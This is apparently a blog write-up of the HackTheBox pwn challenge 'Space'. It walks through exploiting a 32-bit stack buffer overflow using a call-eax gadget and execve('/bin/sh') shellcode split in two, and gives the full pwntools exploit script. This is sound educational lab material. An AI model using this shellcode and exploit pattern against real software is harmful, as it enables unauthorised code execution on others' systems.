← Back to Writeups
HTBN/APwn

Space

XESXOR8/23/20262 min read
#pwn#htb#n/a

Space

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

roaming in a small space

Solution Approach

Core idea: Stack-Based Exploitation. Buffer Overflow.

Steps

  1. In this challenge we're given a 32 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS --> no protection enabled.

  1. After decompiled the binary, we know the vuln is at the sym.vuln where it does strcpy from our input at the sym.main which held up to 31 buffers.
  2. But at sym.vuln, our buffers copied to a variable with 10 buffers. Obviously it trigger BOF.
  3. The problem is there is no interesting function to jump to and remembering the NX is disabled, the concept here must be ret2reg.

PROBLEMS

  • Well it seems we don't have enough spaces after the EIP for our shellcode.

  • Knowing this, hence we need to divide our shellcode. The first one to reach the EIP then use jmp esp or call eax register then send the other after that which jump to the 11th offset at the stack.

  • Then execute our shellcode.

SHELLCODE

1st shell

xor ecx, ecx
push ecx
push 0xb 
pop eax
jmp $+11

2nd shell

xor edx, edx
push 0x68732f2f # //sh
push 0x6e69622f # bin
mov ebx, esp
int 0x80
nop 
nop 

NOTES: in 32 bit, we use ebx , ecx and edx instead of rdi, rsi, rdx. Also don't forget the order 👍.

  1. Actually the intended solution must be using jmp esp i guess since we want to jump onto the the 11th offset, but i managed to solve it using call eax (ret2reg).

FULL SCRIPT

from pwn import * 
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './space'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

sh = start()
call_eax = 0x08049019
log.info('CALL_EAX gadget --> %#0x', call_eax)

### 8 bytes

### we can't do mov eax, 0xb. Because the length shall be 10

### why 11?? Because distance from first A to last A is 11

### it will loop through the last offset before 8 bytes space

first_shell = """
xor ecx, ecx
push ecx
push 0xb 
pop eax
jmp $+11
"""
shell_1 = asm(first_shell)
print('[INFO] --> LENGTH SHELL 1',len(shell_1))

### 18 bytes

### adding 2 NOPs as paddings so our shellcode length shall be exact 18.

second_shell = """
xor edx, edx
push 0x68732f2f # //sh
push 0x6e69622f # bin
mov ebx, esp
int 0x80
nop 
nop 
"""
shell_2 = asm(second_shell)
print('[INFO] --> LENGTH SHELL 2',len(shell_2))

p = flat([
    shell_2,
    call_eax,
    shell_1
])

sh.sendlineafter(b'>',p)
sh.interactive()

TEST LOCALY

TEST REMOTELY

  1. Got the flag!

Flag

REDACTED

Lessons Learned

  1. Stack-Based Exploitation.
  2. Buffer Overflow.
  3. Small space after EIP.
  4. Crafting custom shellcode.